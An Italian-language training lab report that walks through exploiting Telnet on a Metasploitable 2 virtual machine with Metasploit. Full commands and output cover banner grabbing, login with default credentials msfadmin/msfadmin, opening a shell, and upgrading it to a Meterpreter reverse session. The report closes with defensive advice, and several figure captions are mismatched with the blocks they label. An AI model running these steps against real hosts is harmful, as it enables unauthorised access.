

REPORT ESERCITAZIONE

ANALISI E SFRUTTAMENTO DEL SERVIZIO TELNET CON METASPLOIT

1. OBIETTIVO DELL'ESERCITAZIONE

L'esercitazione ha l'obiettivo di analizzare e sfruttare il servizio **Telnet** attivo sulla macchina **Metasploitable 2**, utilizzando il framework **Metasploit** all'interno di un ambiente virtuale controllato su **VirtualBox**. Le attività sono suddivise in **quattro fasi**: scansione del servizio, autenticazione tramite credenziali note, gestione delle sessioni e upgrade a Meterpreter.

2. AMBIENTE DI LABORATORIO

Il laboratorio virtuale è composto dalle seguenti macchine:

- **KALI LINUX** (attaccante) – IP: 192.168.1.100
- **METASPLOITABLE 2** (target) – IP: 192.168.1.149

3. FASE 1 – SCANSIONE DEL SERVIZIO TELNET

La prima fase consiste nell'identificare la versione del servizio Telnet in ascolto sulla macchina target, utilizzando il modulo ausiliario di Metasploit apposito per questa operazione.

PROCEDURA

Avviato msfconsole su Kali Linux, è stata eseguita una ricerca dei moduli Telnet disponibili:

```
msf > search telnet
```

Dal risultato della ricerca è stato selezionato il modulo numero 78 corrispondente a auxiliary/scanner/telnet/telnet_version:

```
msf > use 78
```

È stato quindi configurato il parametro RHOSTS con l'indirizzo IP del target:

```
msf auxiliary(scanner/telnet/telnet_version) > set rhosts  
192.168.1.149
```

Dopo aver verificato le opzioni con show options, il modulo è stato eseguito:

```
msf auxiliary(scanner/telnet/telnet_version) > exploit
```

RISULTATO

Il modulo ha restituito il banner completo di Metasploitable 2, confermando che il servizio Telnet è attivo sulla porta 23 e rivelando in chiaro le credenziali predefinite (msfadmin/msfadmin) nel messaggio di benvenuto della macchina target.

```
msf > search telnet
```

Figura 1 – Ricerca del modulo Telnet con il comando search telnet

```

rability
76 exploit/linux/http/tp_link_sc2020n_authenticated_t
77 auxiliary/scanner/telnet/telnet_login
78 auxiliary/scanner/telnet/telnet_version
79 auxiliary/scanner/telnet/telnet_encrypt_overflow
80 payload/cmd/unix/bind_busybox_telnetd

```

Figura 2 – Selezione del modulo auxiliary/scanner/telnet/telnet_version (numero 77-78)

```

msf > use 78
msf auxiliary(scanner/telnet/telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):

```

Name	Current Setting	Required	Description
PASSWORD	msfadmin	no	The password for the specified username
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

```

View the full module info with the info, or info -d command.
msf auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf auxiliary(scanner/telnet/telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):

```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS	192.168.1.149	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

Figura 3 – Configurazione di RHOSTS e verifica delle opzioni del modulo telnet_version

```

msf auxiliary(scanner/telnet/telnet_version) > exploit
[*] 192.168.1.149:23 - 192.168.1.149:23 TELNET
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login:
[*] 192.168.1.149:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

```

Figura 4 – Esecuzione dell'exploit e banner di Metasploitable rilevato sulla porta 23

4. FASE 2 – AUTENTICAZIONE E CREAZIONE DELLA SESSIONE

Una volta identificate le credenziali predefinite, è stato utilizzato il modulo **telnet_login** per autenticarsi automaticamente e aprire una sessione shell remota sul target.

PROCEDURA

È stato caricato il modulo di login Telnet:

```
msf > use auxiliary/scanner/telnet/telnet_login
```

Sono stati configurati i parametri necessari:

```
set rhosts 192.168.1.149
set username msfadmin
set password msfadmin
set stop_on_success true
```

Con l'opzione **STOP_ON_SUCCESS** impostata su **true**, il modulo interrompe l'esecuzione non appena trova una combinazione di credenziali valida, evitando tentativi superflui. Dopo aver verificato le opzioni con `show options`, è stato lanciato l'exploit.

RISULTATO

Il login è avvenuto con successo. **Metasploit** ha riportato "**Login Successful: msfadmin:msfadmin**" e ha aperto automaticamente una sessione **shell** (Command shell session 1) verso il target 192.168.1.149 sulla porta 23. La sessione è stata verificata eseguendo il comando **ifconfig** all'interno della shell remota, confermando l'indirizzo IP 192.168.1.149 del target.

```
msf auxiliary(scanner/telnet/telnet_login) > use post/multi/manage/shell_to_meterpreter
msf post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

  Name      Current Setting  Required  Description
  ----      -
  HANDLER   true             yes       Start an exploit/multi/handler to receive the connection
  LHOST     no               no        IP of host that will receive the connection from the payload (Will try to auto detect).
  LPORT     4433             yes       Port for payload to connect to.
  SESSION   yes              yes       The session to run this module on

View the full module info with the info, or info -d command.

msf post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf post(multi/manage/shell_to_meterpreter) > setg lhost 192.168.1.100
lhost => 192.168.1.100
msf post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

  Name      Current Setting  Required  Description
  ----      -
  HANDLER   true             yes       Start an exploit/multi/handler to receive the connection
  LHOST     192.168.1.100    no        IP of host that will receive the connection from the payload (Will try to auto detect).
  LPORT     4433             yes       Port for payload to connect to.
  SESSION   1                yes       The session to run this module on

View the full module info with the info, or info -d command.
```

Figura 5 – Configurazione del modulo `telnet_login` con credenziali `msfadmin/msfadmin`

```

msf auxiliary(scanner/telnet/telnet_login) > exploit
[*] 192.168.1.149:23 - No active DB -- Credential data will not be saved!
[*] 192.168.1.149:23 - 192.168.1.149:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.1.149:23 - Attempting to start session 192.168.1.149:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.1.100:34455 → 192.168.1.149:23) at 2026-05-19 08:46:57 -0400
[*] 192.168.1.149:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1 ...

msfadmin@metasploitable:~$ ifconfig
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:a7:6d:40
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fea7:6d40/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:101 errors:0 dropped:0 overruns:0 frame:0
          TX packets:117 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:8326 (8.1 KB)  TX bytes:13607 (13.2 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:113 errors:0 dropped:0 overruns:0 frame:0
          TX packets:113 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:29705 (29.0 KB)  TX bytes:29705 (29.0 KB)

msfadmin@metasploitable:~$ ^Z
Background session 1? [y/N] y

```

Figura 6 – Login riuscito e apertura della sessione shell su Metasploitable

```

msf auxiliary(scanner/telnet/telnet_login) > setg rhosts 192.168.1.149
rhosts => 192.168.1.149
msf auxiliary(scanner/telnet/telnet_login) > set username msfadmin
username => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set password msfadmin
password => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set stop_on_success true
stop_on_success => true
msf auxiliary(scanner/telnet/telnet_login) > show options

Module options (auxiliary/scanner/telnet/telnet_login):

  Name              Current Setting  Required  Description
  ----              -
  ANONYMOUS_LOGIN    false           yes       Attempt to login with a blank username and password
  BLANK_PASSWORDS    false           no        Try blank passwords for all users
  BRUTEFORCE_SPEED   5               yes       How fast to bruteforce, from 0 to 5
  CreateSession      true            no        Create a new session for every successful login
  DB_ALL_CREDS       false           no        Try each user/password couple stored in the current database
  DB_ALL_PASS        false           no        Add all passwords in the current database to the list
  DB_ALL_USERS       false           no        Add all users in the current database to the list
  DB_SKIP_EXISTING   none            no        Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
  PASSWORD           msfadmin        no        A specific password to authenticate with
  PASS_FILE          no              no        File containing passwords, one per line
  RHOSTS             192.168.1.149  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT              23             yes       The target port (TCP)
  STOP_ON_SUCCESS    true            yes       Stop guessing when a credential works for a host
  THREADS             1              yes       The number of concurrent threads (max one per host)
  USERNAME           msfadmin        no        A specific username to authenticate as
  USERPASS_FILE      no              no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS       false           no        Try the username as the password for all users
  USER_FILE          no              no        File containing usernames, one per line
  VERBOSE            true            yes       Whether to print output for all attempts

```

Figura 7 – Sessione shell attiva: verifica con ifconfig e messa in background con Ctrl+Z

5. FASE 3 – GESTIONE DELLE SESSIONI

Con la sessione shell attiva, è stato verificato il suo corretto funzionamento e successivamente messa in background per procedere all'upgrade.

PROCEDURA

La sessione è stata messa in background tramite la combinazione di tasti Ctrl+Z, confermando con "y" alla richiesta del sistema:

```
Background session 1? [y/N] y
```

La sessione rimane attiva in background e può essere richiamata in qualsiasi momento con il comando sessions -i 1.

6. FASE 4 – UPGRADE DELLA SESSIONE A METERPRETER

L'upgrade da shell base a Meterpreter consente di disporre di un canale di comunicazione più avanzato, con funzionalità aggiuntive come la gestione del filesystem, l'esecuzione di comandi avanzati e la raccolta di informazioni sul sistema.

PROCEDURA

È stato caricato il modulo di post-exploitation dedicato all'upgrade:

```
use post/multi/manage/shell_to_meterpreter
```

Sono stati configurati i parametri necessari:

```
set session 1
setg lhost 192.168.1.100
```

Il modulo è stato avviato con il comando exploit. Nonostante un avviso iniziale ("SESSION may not be compatible with this module"), l'operazione è andata a buon fine.

RISULTATO

Metasploit ha aperto con successo la sessione **Meterpreter** numero 2 (192.168.1.100:4433 → 192.168.1.149:46248), confermando il completamento dello stage (773/773 bytes al 100%). Interagendo con la nuova sessione tramite sessions -i 2, è stato eseguito il comando ifconfig direttamente dal prompt meterpreter, verificando la connettività con il target.

```
msf post(multi/manage/shell_to_meterpreter) > exploit
[*] SESSION may not be compatible with this module:
[*] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.1.100:4433
[*] Sending stage (1062760 bytes) to 192.168.1.149
[*] Meterpreter session 2 opened (192.168.1.100:4433 → 192.168.1.149:46248) at 2026-05-19 08:51:59 -0400
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2 ...

meterpreter > ifconfig

Interface 1
Name      : lo
Hardware MAC : 00:00:00:00:00:00
MTU       : 16436
Flags     : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::

Interface 2
Name      : eth0
Hardware MAC : 08:00:27:a7:6d:40
MTU       : 1500
Flags     : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.1.149
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fea7:6d40
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::

meterpreter > █
```

Figura 8 – Configurazione del modulo shell_to_meterpreter (SESSION=1, LHOST=192.168.1.100)

7. CONCLUSIONI

L'esercitazione ha dimostrato come il servizio Telnet, per sua natura privo di cifratura, rappresenti un vettore di attacco critico. Le credenziali predefinite di **Metasploitable 2** erano visibili in chiaro nel banner del servizio stesso, rendendo l'accesso immediato senza necessità di tecniche di brute force avanzate.

Attraverso le **quattro fasi**, è stato possibile: identificare la versione del servizio e raccogliere informazioni iniziali (banner grabbing), autenticarsi con le credenziali predefinite ottenendo una sessione **shell**, gestire la sessione attiva in **Metasploit** e, infine, eseguire l'upgrade a **Meterpreter** per disporre di capacità operative avanzate.

Dal punto di vista **difensivo**, questa esercitazione evidenzia l'importanza di disabilitare Telnet in favore di **SSH**, modificare le credenziali predefinite e monitorare le connessioni in ingresso sulla porta **23**.